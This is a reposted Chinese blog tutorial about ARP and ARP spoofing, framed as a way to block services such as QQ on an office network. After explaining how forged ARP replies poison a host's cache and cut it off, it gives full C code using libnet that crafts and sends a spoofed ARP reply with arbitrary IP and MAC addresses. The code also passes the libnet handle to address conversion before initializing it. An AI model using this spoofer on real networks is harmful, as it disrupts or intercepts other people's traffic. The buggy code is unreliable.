生活随笔
收集整理的這篇文章主要介紹了
VC++基于APR实现禁止某个业务(开发行为控制软件用得着,例如上班禁止上QQ)...
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
ARP(Address Resolution Protocol,地址解析協(xié)議)是獲取物理地址的一個TCP/IP協(xié)議。某節(jié)點的IP地址的ARP請求被廣播到網(wǎng)絡(luò)上后,這個節(jié)點會收到確認(rèn) 其物理地址的應(yīng)答,這樣的數(shù)據(jù)包才能被傳送出去。RARP(逆向ARP)經(jīng)常在無盤工作站上使用,以獲得它的邏輯IP地址。
地址解析協(xié)議(Address Resolution Protocol,ARP)是在僅知道主機的IP地址時確 ?地址解析協(xié)議定其物理地址的一種協(xié)議。因IPv4和以太網(wǎng)的廣泛應(yīng)用,其主要用作將IP地址翻譯為以太網(wǎng)的MAC地址,但其也能在ATM( 異步傳輸模式)和FDDIIP(Fiber Distributed Data Interface 光纖分布式數(shù)據(jù)接口)網(wǎng)絡(luò)中使用。從IP地址到物理地址的映射有兩種方式:表格方式和非表格方式。ARP具體說來就是將網(wǎng)絡(luò)層(IP層,也就是相當(dāng)于OSI的第三層)地址解析為數(shù)據(jù)連接層(MAC層,也就是相當(dāng)于OSI的第二層)的MAC地址。
1. 什么是ARP?
ARP (Address Resolution Protocol) 是個地址解析協(xié)議。最直白的說法是:在IP-以太網(wǎng)中,當(dāng)一個上層協(xié)議要發(fā)包時,有了節(jié)點的IP地址,ARP就能提供該節(jié)點的MAC地址。
2. 為什么要有ARP?
OSI 模式把網(wǎng)絡(luò)工作分為七層,彼此不直接打交道,只通過接口(layer interface). IP地址在第三層, MAC地址在第二層。協(xié)議在發(fā)送數(shù)據(jù)包時,得先封裝第三層(IP地址),第二層(MAC地址)的報頭, 但協(xié)議只知道目的節(jié)點的IP地址,不知道其MAC地址,又不能跨第二、三層,所以得用ARP的服務(wù)。
3. 什么是ARP
cache? ARP cache 是個用來儲存(IP, MAC)地址的緩沖區(qū)。當(dāng)ARP被詢問一個已知IP地址節(jié)點的MAC地址時,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才發(fā)送ARP request向局域網(wǎng)查詢。
4. ARP 有什么命令行?
常用的包括:(格式因操作系統(tǒng)、路由器而異,但作用類似)- 顯示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
在TCP/IP協(xié)議中,A給B發(fā)送IP包,在報頭中需要填寫B(tài)的IP為目標(biāo)地址,但這個IP包在以太網(wǎng)上傳輸?shù)臅r候,還需要進(jìn)行一次以太包的封裝,在這個以太包中,目標(biāo)地址就是B的MAC地址.
計算機A是如何得知B的MAC地址的呢?解決問題的關(guān)鍵就在于ARP協(xié)議。
在A不知道B的MAC地址的情況下,A就廣播一個ARP請求包,請求包中填有B的IP(192.168.1.2),以太網(wǎng)中的所有計算機都會接收這個請求,而正常的情況下只有B會給出ARP應(yīng)答包,包中就填充上了B的MAC地址,并回復(fù)給A。
A得到ARP應(yīng)答后,將B的MAC地址放入本機緩存,便于下次使用。
本機MAC緩存是有生存期的,生存期結(jié)束后,將再次重復(fù)上面的過程。
ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應(yīng)答。當(dāng)計算機接收到ARP應(yīng)答數(shù)據(jù)包的時候,就會對本地的ARP緩存進(jìn)行更新,將應(yīng)答中的IP和MAC地址存儲在ARP緩存中。因此,當(dāng)局域網(wǎng)中的某臺機器B向A發(fā)送一個自己偽造的ARP應(yīng)答,而如果這個應(yīng)答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當(dāng)A接收到B偽造的ARP應(yīng)答后,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經(jīng)不是原來那個了。由于局域網(wǎng)的網(wǎng)絡(luò)流通不是根據(jù)IP地址進(jìn)行,而是按照MAC地址進(jìn)行傳輸。所以,那個偽造出來的MAC地址在A上被改變成一個不存在的MAC地址,這樣就會造成網(wǎng)絡(luò)不通,導(dǎo)致A不能Ping通C!這就是一個簡單的ARP欺騙。
#include <win32/libnet.h>
/*
=======================================================================================================================
在windows平臺下必須包含此文件,文件libnet.h是libnet開發(fā)包的頭文件
======================================================================================================================= */
void main()
{ int packet_size; /* 存放數(shù)據(jù)包長度的變量 */ libnet_t *l; /* libnet句柄 */ libnet_ptag_t protocol_tag; /* 協(xié)議塊標(biāo)記 */ char *device = NULL; /* 設(shè)備名字,此時為NULL */ char error_information[LIBNET_ERRBUF_SIZE]; /* 用來存放錯誤信息 */ char *destination_ip_str = "192.168.0.2"; /* 目的IP地址字符串變量,可以指定任意一個合法的IP地址 */ char *source_ip_str = "192.168.0.3"; /* 源IP地址字符串變量,可以指定任意一個合法的IP地址 */ u_char hardware_source[6] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 }; /* 源MAC地址,可以是任意指定 */ u_char hardware_destination[6] = { 0x06, 0x05, 0x04, 0x03, 0x02, 0x01 }; /* 目的MAC地址,可以是任意指定 */ u_long destination_ip; /* 目的IP地址 */ u_long source_ip; /* 源IP地址 */ destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE); /* 把目的IP地址字符串形式轉(zhuǎn)化成網(wǎng)絡(luò)順序字節(jié)形式的數(shù)據(jù) */ source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE); /* 把源IP地址字符串形式轉(zhuǎn)化成網(wǎng)絡(luò)順序字節(jié)形式的數(shù)據(jù) */ l = libnet_init( /* 初始化libnet */ LIBNET_LINK_ADV, /* libnet類型 */ device, /* 網(wǎng)絡(luò)設(shè)備 */ error_information); /* 錯誤信息 * */ protocol_tag = libnet_build_arp( /* 構(gòu)造ARP協(xié)議塊,函數(shù)的返回值是代表新生成的ARP協(xié)議塊的一個協(xié)議塊標(biāo)記, */ ARPHRD_ETHER, /* 硬件地址類型,在這里是以太網(wǎng) */ ETHERTYPE_IP, /* 協(xié)議地址類型,在這里是IP協(xié)議 */ 6, /* 硬件地址長度,MAC地址的長度為6 */ 4, /* 協(xié)議地址長度,IP地址的長度為4 */ ARPOP_REPLY, /* 操作類型,在這里是ARP應(yīng)答類型 */ hardware_source, /* 源硬件地址 */ (u_int8_t*) &source_ip, /* 源IP地址 */ hardware_destination, /* 目標(biāo)硬件地址 */ (u_int8_t*) &destination_ip, /* 目標(biāo)協(xié)議地址 */ NULL, /* 負(fù)載,此時為NULL */ 0, /* 負(fù)載的長度,此時為0 */ l, /* libnet句柄,此句柄由libnet_init()函數(shù)生成 */ 0 /* 協(xié)議塊標(biāo)記,此時為0,表示構(gòu)造一個新的ARP協(xié)議塊,而不是修改已經(jīng)存在的協(xié)議塊 * */ ); protocol_tag = libnet_autobuild_ethernet( /* 構(gòu)造一個以太網(wǎng)協(xié)議塊,返回一個指向此協(xié)議塊的標(biāo)記 */ hardware_destination, /* 目的硬件地址 */ ETHERTYPE_ARP, /* 以太網(wǎng)上層協(xié)議類型,此時為ARP類型 */ l /* libnet句柄 */ ); packet_size = libnet_write(l); /* * 發(fā)送已經(jīng)構(gòu)造的ARP數(shù)據(jù)包,注意此數(shù)據(jù)包應(yīng)該包括兩部分,一部分是ARP協(xié)議塊,另外一部分是以太網(wǎng)協(xié)議塊 */ printf("發(fā)送一個%d字節(jié)長度的ARP應(yīng)答數(shù)據(jù)包\n", packet_size); /* 輸出發(fā)送的ARP數(shù)據(jù)包的字節(jié)數(shù) */ libnet_destroy(l); /* 銷毀libnet */
}
轉(zhuǎn)載于:https://www.cnblogs.com/niulanshan/archive/2012/11/07/6175469.html
總結(jié)
以上是生活随笔為你收集整理的VC++基于APR实现禁止某个业务(开发行为控制软件用得着,例如上班禁止上QQ)...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。